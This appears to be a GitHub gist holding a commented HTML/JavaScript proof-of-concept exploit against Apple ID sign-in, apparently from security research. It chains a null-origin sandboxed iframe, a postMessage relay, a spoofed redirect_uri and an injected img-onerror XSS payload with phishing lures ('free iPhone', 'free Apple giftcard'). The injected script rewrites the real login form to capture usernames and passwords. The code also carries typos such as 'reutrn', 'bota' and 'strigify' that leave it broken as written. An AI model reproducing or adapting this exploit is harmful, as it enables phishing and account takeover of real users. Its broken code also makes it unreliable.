Skip to content

Instantly share code, notes, and snippets.

@Zemnmez
Last active December 12, 2023 17:15
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save Zemnmez/628da3f822f8686603c0b7c40b49816f to your computer and use it in GitHub Desktop.
Save Zemnmez/628da3f822f8686603c0b7c40b49816f to your computer and use it in GitHub Desktop.
<!DOCTYPE HTML>
<title>Apple Rewards</title>
<style type="text/css">
/*
// First, we
// clear up any gives that there's
// something going on by making
// the Apple ID frame fill
// the whole page with no border
*/
.idmsa-frame {
width: 100vw;
height: 100vh;
border: 0;
}
</style>
<script>
// Next, the null origin allows us to bypass
// Apple ID's postMessage controls.
// This function takes some code, and
// runs it in the null origin.
const runAsNull = code => {
const i = document.createElement(
"iframe"
);
// We apply 'sandbox=allow-scripts'
// to the iframe. Enabling sandboxing
// makes our page have the 'null' origin
// we need to bypass Apple ID's recieve
// postMessage controls.
i.setAttribute(
"sandbox",
"allow-scripts"
);
// Then, we create an HTML document inside our sandboxed iframe
// containing our javascript code.
//
// Those backtick quotes (`) are just multi-line
// quote marks by the way.
i.setAttribute(
"srcdoc",
`<!DOCTYPE HTML>
<title>null origin</title>
<body><script>(${javascriptCode})()<\/script></body>
`);
// Appends our iframe child, which we called 'i'
// to the page's '<body>' element, and gets a handle
// on the window the browser made inside the iframe.
return document.body
.appendChild(i).contentWindow;
}
// This is the code we want to inject into idmsa.apple.com.
// For now, it's just a pop-up box that says the domain
// that it's running in.
//
// Domains and origins are the fundamental primitives of web
// security, so if we can open a popup showing 'idmsa.apple.com',
// we prove to ourselves that we've compromised Apple ID.
const injection = () => {
// we want to get rid of the evidence as soon as we can.
// once our popup is initialized, it passes us a message
// which we then pass onto our parent exploit window.
// it can then use location.assign() to remove us
// from the browser history.
window.addEventListener("message", ({data}) => {
if(data != "CLOSE") return;
window.parent.postMessage("CLOSE", "*");
window.close();
})
// the 'Sign in With Apple' button, stolen right from
// the brand guidelines
const appleLoginImage = "https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple/images/apple-id-sign-in-with.png";
// This is a legitimate apple login page.
// we pop this out and escape into it.
const legitLogin = "https://idmsa.apple.com/IDMSWebAuth/login.html?appIdKey=49bd208126787c17c33ca3b14d2a4f0c92daa10c417c4d686140e4acc04ba5f4&language=US-EN&path=/Login.do%3FmyInfoReturnURL%3DRegisterAgreement.do%253Fskip%253Dyes%253Fskip%253Dyes";
// create the 'Sign in With Apple' button.
const i = document.createElement("img");
i.src = appleLoginImage;
// when the button is clicked, we popout our
// 'legit' login page.
//
// A click is needed due to anti-popup browser measures.
// we could equally use another input like pressing a key,
// but this I think arouses the least suspiscion.
i.addEventListener('click', () => {
const myWnd = window.open(legitLogin);
// once we've opened the legit login page, we won't
// know when it's actually ready to inject into.
// so we just keep injecting over and over again
// every tenth of a second until we get a signal
// back to say the injection succeedd.
setInterval(() => {
// injecting code across windows and origins like this
// is *really* annoying. unless you've done it before
// the full scope of annoyance will be blissfully unknown
// to you.
//
// Because of the way Javascript internals work, each `window`
// is its own namespace, so when we document.createElement --
// which is secretly window.document.createElement,
// we actually make an element that's specific to our
// window.
//
// This fuckery is beyond us at this point
// so it's easiest to just inject scripts and have
// them run natively in the attacked window.
const toInject = () => {
// A nice little touch :)
document.querySelector("#signin").innerHTML = document.querySelector("#signin").innerHTML.replace(/Apple Support/g, "your free iPhone");
document.querySelector("form[name=form1]").setAttribute("onsubmit", "");
// override the submit action for the form
// to steal the user's username and password.
document.querySelector("form[name=form1]").addEventListener('submit',() => {
alert(`${
document.querySelector("#accountname").value
} / ${
document.querySelector("#accountpassword").value
}`);
});
// once initialized, post to the page that created
// us that it can close now.
window.opener.postMessage("CLOSE", "*");
}
// get a reference to the document of the popped out
// window and inject the attack code we just defined.
const doc = myWnd.document;
const s = (doc.body || doc.documentElement).appendChild(
doc.createElement.call(doc, "script")
);
s.innerHTML = `(${toInject})()`;
}, 100);
});
// this is awful. do not do this.
// it's a really quick way to clear a page of content though :)
document.body.innerHTML = "";
// and finally, add the button which will kick it all off
document.body.appendChild(i);
}
// This is the page we're embedding and attacking. It needs
// a bunch of parmeters to work, but we'll probably want
// to reference those parameters a few times
// so it's easier to define the components of the URL separately.
const idmsa_base =
"https://idmsa.apple.com/appleauth/auth/authorize/signin";
// Here are the parameters we're using against idmsa_base.
// defining them like this instead of one long URL
// makes it easier to programmatically alter these parameters
// if need to to work on our attack.
const idmsa_params = {
client_id: "d39ba9916b7251055b22c7f910e2ea796ee65e98b2ddecea8f5dde8d9d1a815d",
// Here, the redirect_uri's ? is pre-urlencoded as mentioned
// in previous chapters. This causes it to be misinterpreted
// by different parts of the system.
redirect_uri: `https://s3-eu-west-1.amazonaws.com${encodeURIComponent("?")} s3-eu-west-1.amazonaws.com;@www.icloud.com`,
response_mode: "web_message",
// I thought it might be possible that this frame_id
// needed to change per-request, but it doesn't
// so we can just hard code it :)
frame_id: "9d8dafd2-0f8c-4901-ab87-7021ffa6f7ff",
locale: "en_GB"
}
// let's make the idmsa frame.
const idmsa_frame = document.createElement("iframe");
// to inherit our CSS class from before
idmsa_frame.setAttribute("class", "idmsa");
// this builds the idmsa url. I apologise for the way I build
// the url encoding stuff. it reads fine to me but uses
// a bunch of higher-level javascript concepts that
// might not make a whole lot of sense.
idmsa_frame.src = `${idmsa_base}?${
Object.entries(idmsa_params)
.map(([key, value]) =>
[key, value].map(encodeURIComponent).join("="))
.join("&")
}`;
// our null page needs to:
// 1. Wait for a config, and remember it
// 2. Forward all subsequent postMessages to
// idmsa.apple.com.
const nullPageCode = () => {
// async functions can wait on asynchronous events.
// since we're waiting n a bunch of asynchronous
// stuff to happen it only makes sense.
async function main() {
// tell our parent we're ready.
// the onLoad events for iframes have always
// been finickity. Waiting on a postMessage
// is much easier.
window.parent.postMessage("ready", "*");
// await lets us wait for events that might
// happen in the future before continuing.
// we don't want to do anything before we
// get the config anyway.
//
// Promises make fantastic adaptors for turning
// old style callbacks into async code.
const config = await new Promise((ok, fail) => {
console.log("waiting for config");
// postMessage's event is just called 'message'
// i dont really know why.
window.addEventListener('message', ({data}) => {
console.log("got config message");
// honestly receiving the wrong postMessage
// can happen pretty easily so it's worth
// guarding for to save some painful debug
// time.
if (data.type != config)
reutrn fail(`did not get config, instead got ${JSON.stringify(data)})`);
// this completes the promise.
return ok(data);
// eventListeners default to firing on all
// events but everything would probably break
// if we did that with this function.
}, { once: true });
});
// extract the idmsaFrameId (of window.top.frames)
// for later use.
const {idmsaFrameId} = config;
// now the easy part. we just forward everything
// to the idmsa page.
window.addEventListener("message", ({data}) => {
console.log("forwarding to idmsa", data);
// ordinarily "*" would be a bad idea, but because
// *we* are the bad guys we don't need to give a
// shit about secure coding practices.
window.top.frames[idmsaFrameId].postMessage(data, "*");
});
// this is just how you execute an async function
// without making javascript annoyed at you.
main().catch(e => console.error(e));
}
}
// next we'll build our config.
// we're going to go for an <img src=a onerror> XSS,
// the reason being that due to a totally ineffectual
// and super old attempt at global XSS mitigation,
// we can't inject <script> tags and have them
// run after the page's first load, which will
// have fired by this time. This is a bypass.
//
// We also btoa (base64 encode) our injection code
// for transit across the postMessage boundary.
// this is mainly because managing quotation marks
// in our HTML injection gets really confusing otherwise,
// since we're already using ' and " in our <img> code --
// if these were present in our injection code string, the
// code would break.
const injectionHTML = `<img src=a onerror='eval(atob("${
bota(`(${injection})()`)
}"))' />`;
// stolen directly from the known good conversation we eavesdropped on.
// "src" is not actually "[img src]" but a good 8000 characters of
// base64 encoded image data
// which I omit so as to not make this unreadable.
const config_resp = { "jsonrpc": "2.0", "id": "69B33E61-79C4-4A52-9522-63F273B7C349", "result": { "data": { "features": { "rememberMe": true, "createLink": false, "iForgotLink": true, "pause2FA": false }, "signInLabel": "Sign in to get your free Apple giftcard!", "serviceKey": "d39ba9916b7251055b22c7f910e2ea796ee65e98b2ddecea8f5dde8d9d1a815d", "defaultAccountNameAutoFillDomain": "icloud.com", "trustTokens": [], "rememberMeLabel": "keep-me-signed-in", "privacy": injectionHTML, "theme": "dark", "waitAnimationOnAuthComplete": false, "logo": { "src": "[img src]", "width": "100px;color:red" } } } };
// add the null page iframe too our page.
const nullPage = runFunctionInNullOrigin(nullPageCode);
// determine which frame is the idmsa frame.
let idmsaFrameId;
// there's probably a more elegant way to find what
// index the idmsa frame is on window.top.frames, but
// these APIs are so ancient I don't really want to fuck
// with them and spend ages working out why they won't work.
for (let i = 0; i < window.top.frames.length; i++) {
if (window.top.frames[i] != idmsa.contentWindow) continue;
ifmsaFrameId = i;
break
}
// prepare the config to send to the null page
const config = {
idmsaFrameId,
type: "config"
}
window.addEventListener("message", e => {
console.log("RCV", e);
// we need to wait for the null page to postMessage
// us to tell us it exists. This way of doing it
// is ... not entirely kosher but it works for our
// purposes.
if (e.data == "ready") return nullPage.postMessage(config, "*");
// the postmessage JSONRPC protocol that apple id uses
// prefixes everything with this string. We need to trim
// it off, but also do this ourselves in our communications.
const prefix = "pmrpc.";
if (!e.data.startsWith(prefix))
throw new Error(`got weird message ${JSON.strigify(data)}`);
// I'm sure there's a real trimPrefix function somewhere
// but i'm not in the business of following the rules
// right now.
const json = e.data.slice(prefix.length);
const rq = JSON.parse(json);
// extracting the stuff from the request that will be reused
// for our response.
const { method, jsonrpc, params , id } = rq;
// share the good news when we steal your apple login
if (method == "passwordAuthDone") alert(`got creds! ${
JSON.stringify(params)
}`);
// same if we also get a 2FA'd set of creds
if (method == "complete") alert(`got creds! ${
JSON.stringify(params)
}`);
// config requests are the complicated ones.
// we merge our template with the jsonrpc version
// and the request id for our response.
if (method == "config") return nullPage.postMessage(
`${prefix}${JSON.stringify({
...config_resp, jsonrpc, id
})}`, "*";
)
// for all other requests, we just let the page know
// that everything is OK ;)
nullPage.postMessage(`${prefix}${JSON.stringify({
jsonrpc, id, result: true
})}`, "*");
})
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment